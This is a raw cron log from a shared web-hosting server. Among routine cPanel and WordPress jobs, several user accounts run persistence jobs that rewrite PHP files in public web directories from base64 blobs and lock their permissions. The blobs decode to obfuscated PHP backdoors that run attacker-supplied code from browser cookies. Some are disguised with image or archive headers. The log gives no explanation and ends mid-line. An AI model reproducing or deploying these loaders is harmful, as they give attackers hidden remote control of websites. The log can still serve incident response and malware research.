Mar  2 12:30:01 medusa CROND[9907]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:30:01 medusa CROND[9912]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 12:30:01 medusa CROND[9915]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:30:01 medusa CROND[9909]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:30:01 medusa CROND[9922]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:31:02 medusa CROND[29200]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:31:02 medusa CROND[29205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:31:02 medusa CROND[29210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:31:02 medusa CROND[29213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:31:02 medusa CROND[29212]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:31:02 medusa CROND[29215]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:31:02 medusa CROND[29211]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:31:02 medusa CROND[29216]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:31:02 medusa CROND[29217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:31:02 medusa CROND[29218]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:31:02 medusa CROND[29214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:31:02 medusa CROND[29221]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:31:02 medusa CROND[29222]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:32:01 medusa CROND[16991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:32:02 medusa CROND[17243]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:32:02 medusa CROND[17244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:32:02 medusa CROND[17245]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:32:02 medusa CROND[17246]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:32:02 medusa CROND[17247]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:32:02 medusa CROND[17248]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:32:02 medusa CROND[17249]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:32:02 medusa CROND[17264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:32:02 medusa CROND[17265]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgk